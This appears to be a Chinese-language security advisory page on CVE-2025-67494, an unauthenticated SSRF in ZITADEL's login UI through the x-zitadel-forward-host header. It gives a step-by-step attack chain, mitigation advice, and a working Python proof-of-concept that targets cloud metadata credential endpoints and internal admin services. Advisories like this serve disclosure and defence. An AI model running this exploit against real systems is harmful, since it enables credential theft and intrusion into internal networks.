IPBUF安全漏洞报告
English
CVE-2025-67494 CVSS 9.3 严重

CVE-2025-67494 ZITADEL未授权SSRF漏洞可窃取内网数据

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-67494
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
9.3 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZITADEL

相关标签

SSRFZITADEL身份认证CVE-2025-67494未授权访问数据泄露服务器端请求伪造开源身份基础设施

漏洞概述

ZITADEL是一款开源身份基础设施工具,广泛用于企业身份认证和访问管理场景。该漏洞存在于ZITADEL的登录UI(V2)中,由于系统错误地将HTTP头x-zitadel-forward-host视为可信的回退地址,导致出现严重的安全漏洞。攻击者无需任何认证凭证,即可利用该漏洞强制服务器向任意指定的目标地址发起HTTP请求,并读取服务器返回的完整响应内容。此漏洞影响所有部署模式,包括云托管和自托管实例。攻击者可以利用此漏洞探测和访问内部网络服务,如数据库管理接口、REST API、内部监控系统、云元数据服务等敏感资源,窃取敏感配置信息、凭据或其他机密数据。更为严重的是,该漏洞可以绕过网络分段控制,使原本隔离在内网中的服务暴露给外部攻击者,对企业安全构成极大威胁。

技术细节

漏洞根源在于ZITADEL登录UI(V2)的请求处理逻辑。系统设计了一个fallback机制,当某些条件不满足时,会使用x-zitadel-forward-host头指定的主机名作为请求目标。问题在于该头部的验证机制存在缺陷,系统直接将其信任而未进行充分的安全校验。攻击者只需构造一个带有x-zitadel-forward-host头的HTTP请求,指定目标地址为内部服务(如http://169.254.169.254/latest/meta-data/获取云实例凭据),ZITADEL服务器便会以服务器自身的身份和权限向该地址发起请求。由于请求是由服务器后端发起的,它可以绕过防火墙限制访问内网资源。攻击者通过读取响应内容实现数据外泄。整个攻击过程无需任何身份验证,且请求日志可能不会记录为恶意行为,增加了检测难度。修复方案在4.7.1版本中强化了对该HTTP头的验证逻辑,限制其使用范围并添加了必要的白名单机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的ZITADEL版本,通过公开渠道或版本探测确认版本小于等于4.7.0
STEP 2
步骤2: 构造恶意请求
攻击者构造HTTP请求,在请求头中添加x-zitadel-forward-host,指定为目标内网地址(如云元数据服务169.254.169.254)
STEP 3
步骤3: 发送SSRF请求
攻击者向ZITADEL登录端点发送恶意请求,服务器收到请求后,由于信任该头部,会代替攻击者向指定内部地址发起HTTP请求
STEP 4
步骤4: 接收响应数据
ZITADEL服务器将内部服务的响应返回给攻击者,攻击者获取敏感信息如云实例凭据、内部API数据等
STEP 5
步骤5: 横向移动或数据利用
攻击者利用获取的凭据或配置信息进行横向移动,访问更多内部资源或进一步提权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-67494 PoC - ZITADEL Unauthenticated Full-Read SSRF # Target: ZITADEL instances <= v4.7.0 def exploit_ssrf(target_url, internal_target): """ Exploit SSRF by injecting x-zitadel-forward-host header Args: target_url: ZITADEL login page URL (e.g., https://vulnerable-zitadel.com/login) internal_target: Internal service URL to target (e.g., http://169.254.169.254/latest/meta-data/) """ headers = { 'x-zitadel-forward-host': internal_target, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: print(f'[*] Sending SSRF request to: {target_url}') print(f'[*] Targeting internal resource: {internal_target}') response = requests.get(target_url, headers=headers, timeout=10, verify=False) print(f'[+] Status Code: {response.status_code}') print(f'[+] Response Length: {len(response.text)} bytes') print('\n[+] Response Content:') print(response.text[:2000]) # Print first 2000 chars return response.text except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None def check_common_targets(target_url): """Check common SSRF targets""" targets = [ ('AWS Metadata', 'http://169.254.169.254/latest/meta-data/'), ('AWS IAM', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'), ('Internal API', 'http://localhost:8080/admin/api'), ('Internal Health', 'http://127.0.0.1:80/health'), ('Internal Config', 'http://internal.corp.local:8080/config') ] print(f'[*] Testing common SSRF targets against {target_url}\n') for name, url in targets: print(f'\n[*] Testing {name}: {url}') exploit_ssrf(target_url, url) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-67494.py <target_url> [internal_url]') print('Example: python cve-2025-67494.py https://zitadel.company.com/login') print('Example: python cve-2025-67494.py https://zitadel.company.com/login http://169.254.169.254/latest/meta-data/') sys.exit(1) target = sys.argv[1] if len(sys.argv) >= 3: exploit_ssrf(target, sys.argv[2]) else: check_common_targets(target)

影响范围

ZITADEL <= 4.7.0

防御指南

临时缓解措施
如果无法立即升级,可通过在反向代理层(如Nginx)添加配置,丢弃或重置包含x-zitadel-forward-host头的请求。同时建议限制ZITADEL服务器的网络访问权限,仅允许必要的出站连接,并对所有入站请求进行严格的头部验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表